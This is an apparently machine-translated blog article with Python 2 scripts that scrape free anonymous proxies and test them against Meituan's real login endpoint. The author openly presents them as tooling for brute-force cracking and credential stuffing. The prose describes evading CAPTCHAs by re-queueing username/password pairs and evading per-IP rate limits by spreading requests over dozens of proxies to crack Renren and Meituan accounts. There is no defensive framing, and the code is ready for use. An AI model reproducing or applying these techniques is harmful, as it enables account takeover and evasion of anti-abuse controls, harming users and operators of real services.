Maison > Article > développement back-end > Exemple de code d'obtention et de vérification d'un proxy HTTP par lots via Python
Cet article présente principalement le script Python pour l'acquisition et la vérification par lots du proxy HTTP. Les amis qui en ont besoin peuvent se référer à
Craquage par force brute HTTP et bourrage d'informations d'identification. Il existe certaines techniques courantes, telles que :
1. Lors de l'analyse du compte sur Renren.com, j'ai rencontré deux fois une erreur de compte unique et j'ai été obligé de saisir un code de vérification, mais l'autre partie n'a pas mis en œuvre la politique IP.
J'utilise la méthode de maintien d'une file d'attente de 100 000 (nom d'utilisateur, mot de passe) pour contourner le code de vérification. La méthode spécifique est que lorsqu'une certaine combinaison de nom d'utilisateur et de mot de passe nécessite un code de vérification, la séquence de craquage est suspendue, placée à la fin de la file d'attente, en attente du prochain test et continue de déchiffrer les mots de passe d'autres comptes.
De cette façon, vous pouvez vous assurer que 2/3 du temps est consacré au cracking normal et à l'analyse des comptes.
2. Lors du piratage d'un compte système sur Meituan.com, j'ai rencontré certaines restrictions sur l'accès IP unique, et la fréquence des demandes ne doit pas être trop rapide. J'ai donc raccroché 72 proxys HTTP pour résoudre ce problème. Il semble que les demandes de chaque IP soient normales, mais en fait, du point de vue de l'ensemble du programme, l'efficacité est assez impressionnante.
Dans cet article, j'ai posté un extrait de mon propre script HTTP, qui ne contient en réalité que quelques lignes. Le proxy anonyme est récupéré à partir d'ici : http://www.xici.net.co/nn/
Obtenez d'abord la liste des proxys :
from bs4 import BeautifulSoup import urllib2 of = open('proxy.txt' , 'w') for page in range(1, 160): html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read() soup = BeautifulSoup(html_doc) trs = soup.find('table', id='ip_list').find_all('tr') for tr in trs[1:]: tds = tr.find_all('td') ip = tds[1].text.strip() port = tds[2].text.strip() protocol = tds[5].text.strip() if protocol == 'HTTP' or protocol == 'HTTPS': of.write('%s=%s:%s\n' % (protocol, ip, port) ) print '%s=%s:%s' % (protocol, ip, port) of.close()
Vérifiez ensuite si le proxy est disponible , car je suis le compte utilisé pour cracker le système Meituan, j'ai donc utilisé la balise de page Meituan :
#encoding=gbk import httplib import time import urllib import threading inFile = open('proxy.txt', 'r') outFile = open('available.txt', 'w') lock = threading.Lock() def test(): while True: lock.acquire() line = inFile.readline().strip() lock.release() if len(line) == 0: break protocol, proxy = line.split('=') headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': ''} try: conn = httplib.HTTPConnection(proxy, timeout=3.0) conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers ) res = conn.getresponse() ret_headers = str( res.getheaders() ) html_doc = res.read().decode('utf-8') print html_doc.encode('gbk') if ret_headers.find(u'/m/account/login/') > 0: lock.acquire() print 'add proxy', proxy outFile.write(proxy + '\n') lock.release() else: print '.', except Exception, e: print e all_thread = [] for i in range(50): t = threading.Thread(target=test) all_thread.append(t) t.start() for t in all_thread: t.join() inFile.close() outFile.close()
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!